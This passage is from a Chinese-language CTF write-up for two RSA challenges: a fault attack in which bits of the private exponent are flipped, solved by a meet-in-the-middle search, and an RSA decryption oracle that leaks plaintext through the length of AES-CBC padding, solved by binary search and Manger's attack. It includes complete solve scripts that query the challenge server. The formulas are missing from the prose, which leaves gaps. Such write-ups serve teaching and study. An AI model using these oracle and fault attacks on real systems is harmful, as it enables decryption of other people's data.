print(f"Check failed, {ans} does not start with the flag.")

這題有 ，然後它會使用被 flip 三個 bits 的 解密出 給你。

因為就三個 bits 被 flip 過，所以有 的關係，將它放進原本的等式會變成:

然而這個等式中我們只知道 而不知 ，所以沒辦法對它做什麼。一個小技巧是把它全部開 次方變成:

這樣等式兩邊剩下的未知數就只有 了，不過因為 ，所以直接爆要 次才行，雖然不至於不行但對 ctf 還是難。

這邊的小技巧是把其中一個 乘到等式的另一邊:

然後對左邊 建表後再爆搜 ，這樣一共 次而已，是能夠爆破完的。這個技巧其實就是 Meet-in-the-middle attack (雖然這題不是真的在 middle...)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from Crypto.Util.number import *
from gmpy2 import powmod
from itertools import combinations, product
from tqdm import tqdm

n = 900070490622067320191637256322689412527951600989690014040742293402515652299807355416973524079799412242303695005849373445039400849591465597575071172369743191868426614517714438100741689051321511330353068870085391955380005924193452388879170080569217611534666723431228876665400462326676136834184598097637612462138913958737759322989904101853151206852072163254977079626441345648695044414743061561749348880019607938930572091154083635100263637181513759943165217032366307235262290149121982361740356299744695043277615922872281013512722579789196565526621382570308445038543830946971870143416647314522450656476380450926273955034941922166822345239863969969054173792809511555294506499479460733800203789975490744756171199513541914459052812970878813532508200185561086389173320140400837553390150640118664644728326976956623287728071670363574828765499081630098395101207132121557269428414754204021602411843144222862499913321787608802795431375613453451646357431858538087082423774836125541442108814662883958785416540932102786177408197877642161771714550028264013960050526390792232071691880271991611403599658754594252925331797512039370218705211962522382739680885820067113131946086305783275655204391316332325661610449937310593926456756974934432806107508584687
e = 65537
c = 785019041003063094605338644855048946920785904799316056061128856210648574008947823318103541165223596391441869599653542367469582749735833238881174760706303204193239490503494128261465176354669635814736470937192039240288549501040533102957388190144367063971050093258087028919607189745941929361743460532173075128757057170184845810592063392093611909588608434601111240804241210939629912198253922278311726074613374311364714503593835714701261515902458295964850200883428876941854713297600424159346665228238295844165261930957085099153766532230753418227132506795445835713828219025117217211988132423808868878491252074351084194298227654253015597086572860607173699553442586206642744564518363534136736457282374055689877416438808797889637908338960048452523853477755423540348739016013753910186174575168439451877576061110984631119994270572126858635951627682166569924669328090525845842805274374629938562576743743090674720310052196389604757172761607674745732712177986201837422518542301831341463977319044721933558836609327149863674429302791872305204502140781352055289953107204260973578971800635948027688728015052061073091633479965577903274852755170355267952134264963602557305761624298274953157061326235764865240265336589063356964395136173662984407099988044
ans = bytes_to_long(
    b'\xc0K*/\xfb{\xfd\xa36\xfe\'\xfc(l\xa5\xe1Nf\x17\xad\x9eZ"\xbd\xc2%rs\xbe\xb9\xf3\xc5e6\xeb\x9e\xceD\x86.\x03\xb2s\x95\xc2\xac}\xee \x9f\xb9\xbb\x87\x1c\x0b\t\x01D7\xcd\x05\xdcp\x84\x07K\xab\xc9\x14\x9e\x8b\xd5\x8e\xe4\xaeB\n(\r\xe3c\xbd\x97\xe9\x93&h5\xdf9\xaf%~\x9f&J\xf02\x9e\xd9JJe\xd6i\x85)\xd2\xb5\'\xe1x\xb6\xc5K\x84M\xbc_\x01\'\x80\xb5\xf5\x7f\xa1\x96\xbe\xe7\xb3R\xaa\xe7\xe0\x9c\xd4\xed\xde\n<\xdc\x16q\x10w\x8f\x1d\xa3XH\xe2M"C\xfa\x03\xdb\xf4\x00\xa0\xaf\x93=\x9fm\xb5\x94\xfa\xec\xf8\nd\xb1\x17\x8d\x84\x9f\xdfD\xb0FU\xd3\xc07q+\xcc|\xb7\xe7\x8dlk.\xa6S\xa3\x18\xbfi\x8e\xc2SW\\\xb4\x03o\xdd\xeb\xa41\x7fv\x8e\x07aka\x91i\xeb\xe0\xa6*\x17\x1f_*6\x90x\xcd\xaa$\xf9x\xadt\x00\xea\x01\x19\x11\xa9\xdd\xb6\xfa\x1e6\xa8<\x92\xf3w(\xbf;v\xe5\x92\n\xcd\x8ckD\xb1\x82\xe9\x16\x85\xbf\xbf81\xf6.\x9a\xbe\xe7\xf66+\xf4u\xce\xcf#\xb4i\x966\xbf\x96\xee568r\xc8\xd0\xfa\xf7\xfe\xd8>\x97j^\xbbc[\xc0\xe4\xf5\x9d\xb5\xac\xab2\xed\x90\x9cvf\x1a\xaa\xe2\xb27!h\xa5\xac\x0c\xff\xc8\x86F\x86\xaff\xdb\xc6\xc4\x94\xbd[\xf5\xf2\x85!\x1f\xf6\xb1.9\xc2\xf0>H\xd6 L\x9d\xe8\xf7V"\xfe"1\xf3I\xa9\xa9]\x10\x97&\xf6\xbb\xb3\xf4a_\x98\x85\x15v\xd4U\xfd\xeayj\xf4\x08b\xd95b\xf7\xcfI\xfc\x08k1\x8e\xc6\x98\xabY\x16fNRS-\x05<\xee\xe5\xc4\xe0\xad\x8aE\x03jL\xd5m~\x81\xfeqjw;0\xe5K\x889\xa9T\xa8\xc1/:\x96_\xee\x16\xe0\xca\xa6qm\xcb\xa5&\xd4\x94o\xa9\x94\xc6{sm\xc7\xf9\xff\xfe \xb3\xc0\x02\xc3\xe5O\xe8\xe7\x1d\xe0\xf4i\x07\xda\x97=\xfd\xc0\x0eW\xc0;\x8e(\x93\\G\x9bf\xd8\xcf0\x85'
)

ce = powmod(c, e, n)
# build table to speed up the calculations
# ce_pows[i] = powmod(ce, 1<<i, n)
# ce_pows_inv[i] = powmod(ce, -(1<<i), n)
ce_pows = [None] * 4096
ce_pows[0] = ce
ce_pows_inv = [None] * 4096
ce_pows_inv[0] = powmod(ce, -1, n)
for i in range(1, 4096):
    ce_pows[i] = (ce_pows[i - 1] * ce_pows[i - 1]) % n
    ce_pows_inv[i] = (ce_pows_inv[i - 1] * ce_pows_inv[i - 1]) % n
assert ce_pows[87] == powmod(ce, 1 << 87, n)
assert ce_pows_inv[63] == powmod(ce, -(1 << 63), n)

l = (powmod(ans, e, n) * powmod(c, -1, n)) % n
tbl = {}
for x in tqdm(range(4096), desc="build x table"):
    # ex = 1 << x
    # tbl[powmod(ce, ex, n) * l % n] = (x, -1)
    # tbl[powmod(ce, -ex, n) * l % n] = (x, +1)
    tbl[ce_pows[x] * l % n] = (x, -1)
    tbl[ce_pows_inv[x] * l % n] = (x, +1)

# for y, z in tqdm(
#     combinations(range(4096), 2), desc="search y z", total=4096 * 4095 // 2
# ):
#     # ey = 1 << y
#     # ez = 1 << z
#     # for yy, zz in product([1, -1], repeat=2):
#     #     t = powmod(ce, yy * ey + zz * ez, n)
#     #     if t in tbl:
#     #         print(tbl[t], y, z)
#     for (s1, t1), (s2, t2) in product([(+1, ce_pows), (-1, ce_pows_inv)], repeat=2):
#         t = t1[y] * t2[z] % n
#         if t in tbl:
#             print(tbl[t], (y, s1), (z, s2))
#             

# found (2439, -1) (981, -1) (2311, 1)
m = ans * powmod(c, -(-(1 << 2439) - (1 << 981) + (1 << 2311)), n) % n
print(long_to_bytes(m))
# actf{the_earthquake_in_the_room}

RSA-AES

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from Crypto.Util.number import bytes_to_long, long_to_bytes
from Crypto.Util.Padding import pad
from Crypto.Random import get_random_bytes
from Crypto.Cipher import AES
from secret import flag, d

assert len(flag) < 256

n = 0xbb7bbd6bb62e0cbbc776f9ceb974eca6f3d30295d31caf456d9bec9b98822de3cb941d3a40a0fba531212f338e7677eb2e3ac05ff28629f248d0bc9f98950ce7e5e637c9764bb7f0b53c2532f3ce47ecbe1205172f8644f28f039cae6f127ccf1137ac88d77605782abe4560ae3473d9fb93886625a6caa7f3a5180836f460c98bbc60df911637fa3f52556fa12a376e3f5f87b5956b705e4e42a30ca38c79e7cd94c9b53a7b4344f2e9de06057da350f3cd9bd84f9af28e137e5190cbe90f046f74ce22f4cd747a1cc9812a1e057b97de39f664ab045700c40c9ce16cf1742d992c99e3537663ede6673f53fbb2f3c28679fb747ab9db9753e692ed353e3551
e = 0x10001
assert pow(2,e*d,n)==2

enc = pow(bytes_to_long(flag),e,n)
print(enc)

k = get_random_bytes(32)
iv = get_random_bytes(16)
cipher = AES.new(k, AES.MODE_CBC, iv)

while 1:
	try:
		i = int(input("Enter message to sign: "))
		assert(0 < i < n)
		print("signed message (encrypted with military-grade aes-256-cbc encryption):")
		print(cipher.encrypt(pad(long_to_bytes(pow(i,d,n)),16)))
	except:
		print("bad input, exiting")

這題是個奇怪的 RSA decryption oracle，decrypt 完之後用 AES CBC 加密才傳回來。因為這題題序有提到兩年前同個 ctf 的 RSA-OTP，所以查到了這個 writeup，另外在 Discord 中也有找到原題作者的 script。

那題概念上就是透過知道 的 bit length 去判斷長度，所以這樣就等同有個 的 oracle，透過二分搜 就能回推 。

這題因為 padded 的長度也是會跟著原本的 bit length 變化，所以也能用類似的概念去弄。從 padding 可以知道如果回傳的長度小於 272 的話就代表它 ，然後就以這個概念開始 binary search。

不過會遇到的問題是這題的 有 200 多 bytes，所以 很小，除過去也只能拿到 flag 的前面一些 bits 而已。我這邊是參考原作者的 script 發現到它如果乘上一些更大的數字時會出現 wrap over，就是 。

把 改寫就變成 ，在知道 的 top bits 的情況下是能估計 ，然後繼續二分搜即可。不過這還需要有個好方法可以找到 wrap over 的下個 的範圍，所以我的解法相當的 manual:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
from pwn import *
import ast
from Crypto.Util.number import bytes_to_long, long_to_bytes
from random import randint

# context.log_level = 'debug'

n = 0xBB7BBD6BB62E0CBBC776F9CEB974ECA6F3D30295D31CAF456D9BEC9B98822DE3CB941D3A40A0FBA531212F338E7677EB2E3AC05FF28629F248D0BC9F98950CE7E5E637C9764BB7F0B53C2532F3CE47ECBE1205172F8644F28F039CAE6F127CCF1137AC88D77605782ABE4560AE3473D9FB93886625A6CAA7F3A5180836F460C98BBC60DF911637FA3F52556FA12A376E3F5F87B5956B705E4E42A30CA38C79E7CD94C9B53A7B4344F2E9DE06057DA350F3CD9BD84F9AF28E137E5190CBE90F046F74CE22F4CD747A1CC9812A1E057B97DE39F664AB045700C40C9CE16CF1742D992C99E3537663EDE6673F53FBB2F3C28679FB747AB9DB9753E692ED353E3551
e = 0x10001
enc = 8702343735025266604493255023455944506448203943421139140860292426782509680048873569587596911548140388664137318807031840409098358526949080521742044811655775937519290500584015066858945832554481838588845652546365303337275177311841968984511864709414904338587040274646253896911291865516895328016639201704613064462056129248165695806001948541939983934752397658730589917722952341689278968790138018539025744727334202968601465562656795710345742329370762196560147624069504644216320910078454455520823319751612174752365432199529820974601209221975964155055716974539394252799602068585830290371624396504384131654854623710049511046664
io = remote("challs.actf.co", 31500)


def oracle(c):
    io.sendlineafter(b"Enter message to sign: ", str(c % n).encode())
    io.recvline()
    return ast.literal_eval(io.recvlineS().strip())


# for i in range(1500, 1800):
#     l = len(oracle(pow(2,e*i,n)*enc%n))
#     print(i,l,'=' * 10 if l ==256 else '')
# exit()


# for i in range(800):
#     t = randint(2**1800, 2**1830)
#     l = len(oracle(pow(t, e, n) * enc % n))
#     print(t, l, "=" * 10 if l < 272 else "")
#     if l < 272:
#         break
# exit()

bound = 2 ** (8 * (223 + 16 + 16))


# def check(a):
#     # true if a*flag<bound
#     c = pow(a,e,n)*enc%n
#     ret = len(oracle(c))<272
#     # assert ((a*bytes_to_long(flag))<bound) == ret
#     return ret
# l = 1<<281
# r = 1<<282
# while r-l>=5:
#     print((r-l).bit_length(),l,r)
#     m=(l+r)//2
#     if check(m):
#         l=m
#     else:
#         r=m
# for i in range(l,r):
#     print(long_to_bytes(bound//i))
# print(f'{l = }')
# print(f'{r = }')

# actf{the_letters_in_rsa_and_aes_for
l = 5106591256318838407683905460243764336959660291605761992637034245320889588676402619004
r = 5106591256318838407683905460243764336959660291605761992637034245320889588676402619008


# flag_approx = bound//((l+r)//2)
# old_l, old_r = l,r
# l=1<<417
# r=1<<421
# t = ((l+r)//2)*flag_approx//n
# l = (bound+(t*n))//(bound//old_l)
# r = (bound+(t*n))//(bound//old_r)
# def check2(a):
#     # true if (a*flag-t*n)<2^(8*223)
#     c = pow(a,e,n)*enc%n
#     ret = len(oracle(c))<272
#     # assert ((a*bytes_to_long(flag)%n)<bound) == ret
#     # assert ((a*bytes_to_long(flag)-t*n)<bound) == ret
#     return ret
# while r-l>=5:
#     t = ((l+r)//2)*flag_approx//n
#     print((r-l).bit_length(),l,r)
#     m=(l+r)//2
#     print(long_to_bytes((bound+t*n)//m))
#     if check2(m):
#         l=m
#     else:
#         r=m
# for i in range(l,r):
#     print(long_to_bytes((bound+t*n)//i))
# print(f'{l = }')
# print(f'{r = }')
# print(f'{t = }')
# exit()

# actf{the_letters_in_rsa_and_aes_form_aries_if_you_th
l = 2876915576175161902638735420558619565332739305188016554901418502200422028281993863555513736990118237206528734750545634674214476
r = 2876915576175161902638735420558619565332739305188016554901418502200422028281993863555513736990118237206528734750545634674214479
t = 3004922629270658762035610041417503039161


# flag_approx = (bound+t*n)//((l+r)//2)
# old_l, old_r = l,r
# l = 2788595730112793363482939389816956118716055518453142516805245452365645530130649255772251254919244903425930540175264534619647173682810044137923730268625279210651085031363408490342314
# r = 1<<601
# def check2(a):
#     # true if (a*flag-t*n)<2^(8*223)
#     c = pow(a,e,n)*enc%n
#     ret = len(oracle(c))<272
#     # assert ((a*bytes_to_long(flag)%n)<bound) == ret
#     # assert ((a*bytes_to_long(flag)-t*n)<bound) == ret
#     return ret
# while r-l>=5:
#     t = ((l+r)//2)*flag_approx//n
#     print((r-l).bit_length(),l,r)
#     m=(l+r)//2
#     print(long_to_bytes((bound+t*n)//m))
#     if check2(m):
#         l=m
#     else:
#         r=m
# for i in range(l,r):
#     print(long_to_bytes((bound+t*n)//i))
# print(f'{l = }')
# print(f'{r = }')
# print(f'{t = }')
# actf{the_letters_in_rsa_and_aes_form_aries_if_you_throw_in_the_letter_i
l = 2788595730112793363482939389816956118717067625592558569122109372914710315564288760672236727384979003609179452086888918931820942394290026713628077108950197119875557345838695855595297
r = 2788595730112793363482939389816956118717067625592558569122109372914710315564288760672236727384979003609179452086888918931820942394290026713628077108950197119875557345838695855595299
t = 2912673031734900662395316884955179464520550584548675450510737837150340214830893378637155375253


# flag_approx = (bound+t*n)//((l+r)//2)
# print(long_to_bytes(flag_approx))
# old_l, old_r = l,r
# l=1<<772
# r=1<<774
# # t = ((l+r)//2)*flag_approx//n
# # l = (bound+(t*n))//(bound//old_l)
# # r = (bound+(t*n))//(bound//old_r)
# def check2(a):
#     # true if (a*flag-t*n)<2^(8*223)
#     c = pow(a,e,n)*enc%n
#     ret = len(oracle(c))<272
#     # assert ((a*bytes_to_long(flag)%n)<bound) == ret
#     # assert ((a*bytes_to_long(flag)-t*n)<bound) == ret
#     return ret
# while r-l>=5:
#     t = ((l+r)//2)*flag_approx//n
#     print((r-l).bit_length(),l,r)
#     m=(l+r)//2
#     print(long_to_bytes((bound+t*n)//m))
#     if check2(m):
#         l=m
#     else:
#         r=m
# for i in range(l,r):
#     print(long_to_bytes((bound+t*n)//i))
# print(f'{l = }')
# print(f'{r = }')
# print(f'{t = }')
# actf{the_letters_in_rsa_and_aes_form_aries_if_you_throw_in_the_letter_i_because_that_represents
l = 24840289476811342962383671815400040884110176273867145778224832608416815242982030181294054541258343647207804706536065233120593270847750168599425772831619927338434418889926878315235329955265232757350783242378659093019491194921254464013
r = 24840289476811342962383671815400040884110176273867145778224832608416815242982030181294054541258343647207804706536065233120593270847750168599425772831619927338434418889926878315235329955265232757350783242378659093019491194921254464016
t = 25945546885231068689701081185467205998159541945356011842376833249771582355386007995626913844230778454571428210808075349499667131598098150206112170


# flag_approx = (bound+t*n)//((l+r)//2)
# print(long_to_bytes(flag_approx))
# old_l, old_r, old_t = l,r, t
# l=1<<838
# r=1<<839
# # t = ((l+r)//2)*flag_approx//n
# # l = (bound+(t*n))//(bound//old_l)
# # r = (bound+(t*n))//(bound//old_r)
# assert r > l
# def check2(a):
#     # true if (a*flag-t*n)<2^(8*223)
#     c = pow(a,e,n)*enc%n
#     ret = len(oracle(c))<272
#     # assert ((a*bytes_to_long(flag)%n)<bound) == ret
#     # assert ((a*bytes_to_long(flag)-t*n)<bound) == ret
#     return ret
# while r-l>=5:
#     t = ((l+r)//2)*flag_approx//n
#     print((r-l).bit_length(),l,r)
#     m=(l+r)//2
#     print(long_to_bytes((bound+t*n)//m))
#     if check2(m):
#         l=m
#     else:
#         r=m
# for i in range(l,r):
#     print(long_to_bytes((bound+t*n)//i))
# print(f'{l = }')
# print(f'{r = }')
# print(f'{t = }')

# actf{the_letters_in_rsa_and_aes_form_aries_if_you_throw_in_the_letter_i_because_that_represents_yourself
l = 1832889850782397517082802171755189663406212347562527955378281744907439616857248067557309485708214209151091283518633170408049856462283054627491650905580659510813855170585637869897105855355559911173232727735746231855035969403764159886371703173313087968656
r = 1832889850782397517082802171755189663406212347562527955378281744907439616857248067557309485708214209151091283518633170408049856462283054627491650905580659510813855170585637869897105855355559911173232727735746231855035969403764159886371703173313087968660
t = 1914443452977158129230475067287573602778082100812605911269977627778078974619449456949834070683484894171059782628560370507794649112063505421027889511470023283214637956


# flag_approx = (bound+t*n)//((l+r)//2)
# print(long_to_bytes(flag_approx))
# old_l, old_r, old_t = l,r, t
# l = 1641550959518889204327060753293133298008071251322882615948833979994084362247932504494195196993273913632675611712933151143263106391572187617869133125707375497901514599490881950415967558553268221821769522254021292561850184626270325883529964926864747294627750945092499738589283659636318017597208125381434986915053393458318580088945335
# r=1<<1098
# # t = ((l+r)//2)*flag_approx//n
# # l = (bound+(t*n))//(bound//old_l)
# # r = (bound+(t*n))//(bound//old_r)
# # assert r > l
# def check2(a):
#     # true if (a*flag-t*n)<2^(8*223)
#     c = pow(a,e,n)*enc%n
#     ret = len(oracle(c))<272
#     # assert ((a*bytes_to_long(flag)%n)<bound) == ret
#     # assert ((a*bytes_to_long(flag)-t*n)<bound) == ret
#     return ret
# while r-l>=5:
#     t = ((l+r)//2)*flag_approx//n
#     print((r-l).bit_length(),l,r)
#     m=(l+r)//2
#     print(long_to_bytes((bound+t*n)//m))
#     if check2(m):
#         l=m
#     else:
#         r=m
# for i in range(l,r):
#     print(long_to_bytes((bound+t*n)//i))
# print(f'{l = }')
# print(f'{r = }')
# print(f'{t = }')
# actf{the_letters_in_rsa_and_aes_form_aries_if_you_throw_in_the_letter_i_because_that_represents_yourself_or_something_anyway_aries_is_a
l = 1641550959518889204327060753293133298008071251322882615948833979994084362247932504494195196993273913632681730558092679835228121341433243540949243987915147127849677136846882565338958226278649038823205104414044774715949933967582465105018476900904220193700402953822673097109499902642615543847061004141051682855031147214750129290918080
r = 1641550959518889204327060753293133298008071251322882615948833979994084362247932504494195196993273913632681730558092679835228121341433243540949243987915147127849677136846882565338958226278649038823205104414044774715949933967582465105018476900904220193700402953822673097109499902642615543847061004141051682855031147214750129290918084
t = 1714591024571289765034361255424594471911146425175316747999600736043131001671162537597658924124232553096177195992917086193888676229220158251370110767248247595500193148598359476602370638082754919433992991681389215815122070005167052535264288005381


# flag_approx = (bound+t*n)//((l+r)//2)
# print(long_to_bytes(flag_approx))
# old_l, old_r, old_t = l,r, t
# l=1<<1285
# r=1<<1286
# def check2(a):
#     # true if (a*flag-t*n)<2^(8*223)
#     c = pow(a,e,n)*enc%n
#     ret = len(oracle(c))<272
#     # assert ((a*bytes_to_long(flag)%n)<bound) == ret
#     # assert ((a*bytes_to_long(flag)-t*n)<bound) == ret
#     return ret
# while r-l>=5:
#     t = ((l+r)//2)*flag_approx//n
#     print((r-l).bit_length(),l,r)
#     m=(l+r)//2
#     print(long_to_bytes((bound+t*n)//m))
#     if check2(m):
#         l=m
#     else:
#         r=m
# for i in range(l,r):
#     print(long_to_bytes((bound+t*n)//i))
# print(f'{l = }')
# print(f'{r = }')
# print(f'{t = }')
# actf{the_letters_in_rsa_and_aes_form_aries_if_you_throw_in_the_letter_i_because_that_represents_yourself_or_something_anyway_aries_is_a_zodiac_sign_which_means_
l = 666107660458521541243215380951301474471376783825069107540423190425830915819095059072783324270868747829914983293073984498648548239892701754120954022763348528827144288600910102150524277984534841259233362446572662579749754548735798085478723700878977275859193617117626584040997931893710659862766269044625821599440962995816206934851402878867308816484181672266848496485789052244938919564218556
r = 666107660458521541243215380951301474471376783825069107540423190425830915819095059072783324270868747829914983293073984498648548239892701754120954022763348528827144288600910102150524277984534841259233362446572662579749754548735798085478723700878977275859193617117626584040997931893710659862766269044625821599440962995816206934851402878867308816484181672266848496485789052244938919564218560
t = 695745818548997146031596961508412710479974796693483588149882908704652154192883781979725829302780831947777349792683773656501063892778546886016728210171523148041289029707894329352734942032856303222697711791538372881954963927888035144482697872123563845558079741796255149413779106085785919654526962152479


# flag_approx = (bound+t*n)//((l+r)//2)
# print(long_to_bytes(flag_approx))
# old_l, old_r, old_t = l,r, t
# l = 1<<1483
# r = 1<<1484
# def check2(a):
#     # true if (a*flag-t*n)<2^(8*223)
#     c = pow(a,e,n)*enc%n
#     ret = len(oracle(c))<272
#     # assert ((a*bytes_to_long(flag)%n)<bound) == ret
#     # assert ((a*bytes_to_long(flag)-t*n)<bound) == ret
#     return ret
# while r-l>=5:
#     t = ((l+r)//2)*flag_approx//n
#     print((r-l).bit_length(),l,r)
#     m=(l+r)//2
#     print(long_to_bytes((bound+t*n)//m))
#     if check2(m):
#         l=m
#     else:
#         r=m
# for i in range(l,r):
#     print(long_to_bytes((bound+t*n)//i))
# print(f'{l = }')
# print(f'{r = }')
# print(f'{t = }')
# actf{the_letters_in_rsa_and_aes_form_aries_if_you_throw_in_the_letter_i_because_that_represents_yourself_or_something_anyway_aries_is_a_zodiac_sign_which_means_that_the_two_cryptosystem
l = 267598435290787038785000518495795120189849974672934179871183761785819731525904252652413031666450265973305896047938823832697254554301986387284630118698155981810683872110970285526174947445552543232243974184723958049427881810663230582200255812436177259804355666659724978056721027294663099056249229465532402729717101567493772041449273109906137898884048531080358329322204154324632623223688183898761232674157828198036000046114160288830071154212772171004
r = 267598435290787038785000518495795120189849974672934179871183761785819731525904252652413031666450265973305896047938823832697254554301986387284630118698155981810683872110970285526174947445552543232243974184723958049427881810663230582200255812436177259804355666659724978056721027294663099056249229465532402729717101567493772041449273109906137898884048531080358329322204154324632623223688183898761232674157828198036000046114160288830071154212772171008
t = 279505106240123948314692378726509954547271822804357682452053593873927350472230939979456465118962227769441882090514511424351871563696988439390086360047718062578852779448454190663619562767700670755823394892188031298541165717859458230518462852962028646241370589564316273908127650239233769370282485093186817517870805516498704392695546184367558461283956438479400269


# flag_approx = (bound+t*n)//((l+r)//2)
# print(long_to_bytes(flag_approx))
# old_l, old_r, old_t = l,r, t
# l = 37627211912131687436880096876625049684468713732826036184018796780027148519869517942380374884047967048529738110102006623977571758627661600240209535896478099139294943940878294104947956966484015477951993823825938355432089671303813860801233153000276564710210040974091374642782381797237017228192690672034305536770456175912978554765853141809394223146030540577361882758257024263795290797461531379807476170514773878546706221800506607390255108719046874067517161347352491642359527544712521974723367428591189
# r = 1<<1650
# def check2(a):
#     # true if (a*flag-t*n)<2^(8*223)
#     c = pow(a,e,n)*enc%n
#     ret = len(oracle(c))<272
#     # assert ((a*bytes_to_long(flag)%n)<bound) == ret
#     # assert ((a*bytes_to_long(flag)-t*n)<bound) == ret
#     return ret
# while r-l>=5:
#     t = ((l+r)//2)*flag_approx//n
#     print((r-l).bit_length(),l,r)
#     m=(l+r)//2
#     print(long_to_bytes((bound+t*n)//m))
#     if check2(m):
#         l=m
#     else:
#         r=m
# for i in range(l,r):
#     print(long_to_bytes((bound+t*n)//i))
# print(f'{l = }')
# print(f'{r = }')
# print(f'{t = }')
# actf{the_letters_in_rsa_and_aes_form_aries_if_you_throw_in_the_letter_i_because_that_represents_yourself_or_something_anyway_aries_is_a_zodiac_sign_which_means_that_the_two_cryptosystems_are_mutually_compat
l = 37627211912131687436880096876625049684468713732826036184018796780027148519869517942380374884047967048529738110102006623977571758627661600240210045683337130273185646423098679641576284718479986845914702724858502608406366221216399640190136769973825389380224750350410931391235696995751369134377248114592949267795163878364566636274103396943436516316606805635839776350312421759557164899000598078446570536486167268596290795596315472605141980079921097275480182920985271706716386979011369171224402535501425
r = 37627211912131687436880096876625049684468713732826036184018796780027148519869517942380374884047967048529738110102006623977571758627661600240210045683337130273185646423098679641576284718479986845914702724858502608406366221216399640190136769973825389380224750350410931391235696995751369134377248114592949267795163878364566636274103396943436516316606805635839776350312421759557164899000598078446570536486167268596290795596315472605141980079921097275480182920985271706716386979011369171224402535501429
t = 39301417631951703372894850038833823442285039026377811974765973372540562221465166236770753926271406427128064125853191238244457659724408756343102758233753469109598056133902659979888314998168416185052894160029440609089834407012611374547011641438400179447567523126310861827755103897257481528119680930686087174050522529534408569889254230417736847110349538456361530915392910677954130362896077098818312412305374553912


flag_approx = (bound + t * n) // ((l + r) // 2)
print(long_to_bytes(flag_approx))
old_l, old_r, old_t = l, r, t
l = 29808651182044202395161526438638499250467356820897103531466031080260466160601883954693978944153326581783908053680903595797444054912456745352533173167065465127079388979022228255354226131333720370147445313147194503816092984939561291128584036208838516222101490903987863746756463864580139223725509855111940761693194501219827742441025311558982608754381223637395316591827489626870115876892571490203325886163175102100856225880104171923577478616732083534202578515203236185114385838437398198094825347721266244693242373000953079413142535344107394366253873704069
r = 1 << 1829


def check2(a):
    # true if (a*flag-t*n)<2^(8*223)
    c = pow(a, e, n) * enc % n
    ret = len(oracle(c)) < 272
    # assert ((a*bytes_to_long(flag)%n)<bound) == ret
    # assert ((a*bytes_to_long(flag)-t*n)<bound) == ret
    return ret


while r - l >= 5:
    t = ((l + r) // 2) * flag_approx // n
    print((r - l).bit_length(), l, r)
    m = (l + r) // 2
    print(long_to_bytes((bound + t * n) // m))
    if check2(m):
        l = m
    else:
        r = m
for i in range(l, r):
    print(long_to_bytes((bound + t * n) // i))
print(f"{l = }")
print(f"{r = }")
print(f"{t = }")
# actf{the_letters_in_rsa_and_aes_form_aries_if_you_throw_in_the_letter_i_because_that_represents_yourself_or_something_anyway_aries_is_a_zodiac_sign_which_means_that_the_two_cryptosystems_are_mutually_compatble_i_think??}
l = 29808651182044202395161526438638499250467356820897103531466031080260783293606069621827836156023219505031710214972591154711778724939067129078710617176460493666413542664493500557305544946799944222030130240871659822347851065661225370784228758147361629860146897117123496676822166885856619806201561733366867191494545671933761987571558156959049338056122848543586209411166987777284805523034512605321989508974682785326098985409612370630249252664835995069056301180003198475442771626340450638944750614623717983490400570960186063590346158522905988477341410194303
r = 29808651182044202395161526438638499250467356820897103531466031080260783293606069621827836156023219505031710214972591154711778724939067129078710617176460493666413542664493500557305544946799944222030130240871659822347851065661225370784228758147361629860146897117123496676822166885856619806201561733366867191494545671933761987571558156959049338056122848543586209411166987777284805523034512605321989508974682785326098985409612370630249252664835995069056301180003198475442771626340450638944750614623717983490400570960186063590346158522905988477341410194306
t = 31134973590030204511543097623588600229937365385836644522874327062576751468365379230629613557610735762428591993992911414874152831780705308218764828836582235263164478058266177542766364541592854102122398394352597371052054914660910742101741376154393006897145863520270550999839248820825693725475425474569621353403864176434140151517198771682069231414945158723762019615563223885222568539026325966427318379966491800642867958894619869388328023617980136998935939463245795948

然後我在賽後才知道原來 的 oracle 不用這麼麻煩，使用 Manger's Attack 就能輕易的解決了。rkm0959_implements/Manger's_Attack 就是個好用的現成 impl，直接拿來用就能輕鬆的找到 flag 了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
import ast
from Crypto.Util.number import long_to_bytes
from subprocess import check_output

# context.log_level = 'debug'

